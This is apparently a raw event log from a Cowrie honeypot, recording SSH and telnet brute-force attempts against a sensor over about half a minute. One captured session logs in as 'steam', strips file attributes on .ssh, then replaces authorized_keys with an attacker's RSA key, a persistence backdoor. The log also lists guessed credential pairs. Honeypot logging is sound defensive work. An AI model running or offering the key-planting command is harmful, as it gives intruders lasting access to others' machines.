{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40126,"dst_ip":"10.17.0.5","dst_port":23,"session":"def57b82dffa","protocol":"telnet","message":"New connection: 62.210.97.77:40126 (10.17.0.5:23) [session: def57b82dffa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:33.553157Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.218.69.66","src_port":36685,"dst_ip":"159.203.135.109","dst_port":22,"session":"9530a3ca0de2","protocol":"ssh","message":"New connection: 89.218.69.66:36685 (159.203.135.109:22) [session: 9530a3ca0de2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:33.770947Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:33.776850Z","src_ip":"89.218.69.66","session":"9530a3ca0de2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:33.954691Z","src_ip":"89.218.69.66","session":"9530a3ca0de2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40134,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad4ba078bd7c","protocol":"telnet","message":"New connection: 62.210.97.77:40134 (10.17.0.5:23) [session: ad4ba078bd7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:34.040269Z"}
{"eventid":"cowrie.session.closed","duration":31.966781616210938,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:34.372566Z","src_ip":"62.210.97.77","session":"73057ade2d21","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam12","message":"login attempt [steam/steam12] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:34.660578Z","src_ip":"89.218.69.66","session":"9530a3ca0de2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:35.047807Z","src_ip":"89.218.69.66","session":"9530a3ca0de2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:35.051874Z","src_ip":"89.218.69.66","session":"9530a3ca0de2","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:35.057132Z","src_ip":"89.218.69.66","session":"9530a3ca0de2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:35.229595Z","src_ip":"89.218.69.66","session":"9530a3ca0de2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:35.607830Z","src_ip":"89.218.69.66","session":"9530a3ca0de2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:35.611585Z","src_ip":"89.218.69.66","session":"9530a3ca0de2","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:35.787099Z","src_ip":"89.218.69.66","session":"9530a3ca0de2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:35.791426Z","src_ip":"89.218.69.66","session":"9530a3ca0de2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.218.69.66","src_port":63412,"dst_ip":"159.203.135.109","dst_port":22,"session":"984e161e95b5","protocol":"ssh","message":"New connection: 89.218.69.66:63412 (159.203.135.109:22) [session: 984e161e95b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:35.952184Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:35.956546Z","src_ip":"89.218.69.66","session":"984e161e95b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:36.125335Z","src_ip":"89.218.69.66","session":"984e161e95b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.096741676330566,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:36.165435Z","src_ip":"38.54.119.93","session":"3633df59dbc3","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:36.828298Z","src_ip":"89.218.69.66","session":"984e161e95b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.27872371673584,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:37.370302Z","src_ip":"62.210.97.77","session":"d25f73c5e994","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:38.000548Z","src_ip":"89.218.69.66","session":"984e161e95b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.218.69.66","src_port":60285,"dst_ip":"159.203.135.109","dst_port":22,"session":"50de747c2f64","protocol":"ssh","message":"New connection: 89.218.69.66:60285 (159.203.135.109:22) [session: 50de747c2f64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:38.165220Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:38.170343Z","src_ip":"89.218.69.66","session":"50de747c2f64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":43430,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7f4d9f6b34a","protocol":"telnet","message":"New connection: 65.60.27.33:43430 (10.17.0.5:23) [session: c7f4d9f6b34a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:38.411346Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:38.855516Z","src_ip":"89.218.69.66","session":"50de747c2f64","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:39.565065Z","src_ip":"89.218.69.66","session":"50de747c2f64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":38676,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7c73ec87429","protocol":"telnet","message":"New connection: 165.232.131.181:38676 (10.17.0.5:23) [session: a7c73ec87429]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:39.674721Z"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:39.739578Z","src_ip":"89.218.69.66","session":"9530a3ca0de2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:39.743362Z","src_ip":"89.218.69.66","session":"50de747c2f64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"User123","message":"login attempt [root/User123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:40.353606Z","src_ip":"213.209.159.158","session":"513c1e10a6c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":1.446584939956665,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:41.121191Z","src_ip":"165.232.131.181","session":"a7c73ec87429","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":44304,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e762c003a89","protocol":"telnet","message":"New connection: 62.210.97.77:44304 (10.17.0.5:23) [session: 4e762c003a89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:41.417537Z"}
{"eventid":"cowrie.session.closed","duration":37.630701780319214,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:42.229496Z","src_ip":"62.210.97.77","session":"95bf8ce5d9d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.2699556350708,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:42.468790Z","src_ip":"62.210.97.77","session":"97db8653aa2c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"15.5","message":"Connection lost after 15.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:43.965556Z","src_ip":"213.209.159.158","session":"513c1e10a6c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":28418,"dst_ip":"10.17.0.5","dst_port":22,"session":"0065f4842046","protocol":"ssh","message":"New connection: 213.209.159.158:28418 (10.17.0.5:22) [session: 0065f4842046]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:44.046354Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":44318,"dst_ip":"10.17.0.5","dst_port":23,"session":"f52842fbb121","protocol":"telnet","message":"New connection: 62.210.97.77:44318 (10.17.0.5:23) [session: f52842fbb121]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:44.051458Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":55024,"dst_ip":"10.17.0.5","dst_port":23,"session":"6017e8dbbcdd","protocol":"telnet","message":"New connection: 38.54.119.93:55024 (10.17.0.5:23) [session: 6017e8dbbcdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:44.377666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:46.200393Z","src_ip":"213.209.159.158","session":"0065f4842046","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:46.204815Z","src_ip":"213.209.159.158","session":"0065f4842046","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.747546672821045,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:46.573917Z","src_ip":"165.232.131.181","session":"128943b2c3b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":44330,"dst_ip":"10.17.0.5","dst_port":23,"session":"11af08c33bc2","protocol":"telnet","message":"New connection: 62.210.97.77:44330 (10.17.0.5:23) [session: 11af08c33bc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:46.910124Z"}
{"eventid":"cowrie.session.closed","duration":36.28331685066223,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:47.509336Z","src_ip":"62.210.97.77","session":"ffe576e93c16","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":44334,"dst_ip":"10.17.0.5","dst_port":23,"session":"87f0cc838a0e","protocol":"telnet","message":"New connection: 62.210.97.77:44334 (10.17.0.5:23) [session: 87f0cc838a0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:47.659301Z"}
{"eventid":"cowrie.session.closed","duration":44.27576994895935,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:52.118165Z","src_ip":"38.54.119.93","session":"e0247b4ac15a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.85195279121399,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:52.201139Z","src_ip":"62.210.97.77","session":"770f880a17a0","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"vanina","message":"login attempt [root/vanina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:55.944242Z","src_ip":"213.209.159.158","session":"0065f4842046","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":33688,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef532e3a0e53","protocol":"telnet","message":"New connection: 38.54.119.93:33688 (10.17.0.5:23) [session: ef532e3a0e53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:56.394553Z"}
{"eventid":"cowrie.session.closed","duration":44.87146782875061,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:57.523762Z","src_ip":"65.60.27.33","session":"aa405736558d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.093364238739014,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:57.988366Z","src_ip":"38.54.119.93","session":"517e57df0532","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.780203342437744,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:58.084014Z","src_ip":"38.54.119.93","session":"70989ff33c4c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"15.1","message":"Connection lost after 15.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:59.197299Z","src_ip":"213.209.159.158","session":"0065f4842046","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":7272,"dst_ip":"10.17.0.5","dst_port":22,"session":"7eadfe47ec58","protocol":"ssh","message":"New connection: 213.209.159.158:7272 (10.17.0.5:22) [session: 7eadfe47ec58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:30:59.302401Z"}
{"eventid":"cowrie.session.closed","duration":54.06421756744385,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:31:01.020817Z","src_ip":"65.60.27.33","session":"7d765c53fcaf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.22915554046631,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:31:01.183124Z","src_ip":"62.210.97.77","session":"11b8a7ea834d","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:31:01.358429Z","src_ip":"213.209.159.158","session":"7eadfe47ec58","protocol":"ssh"}
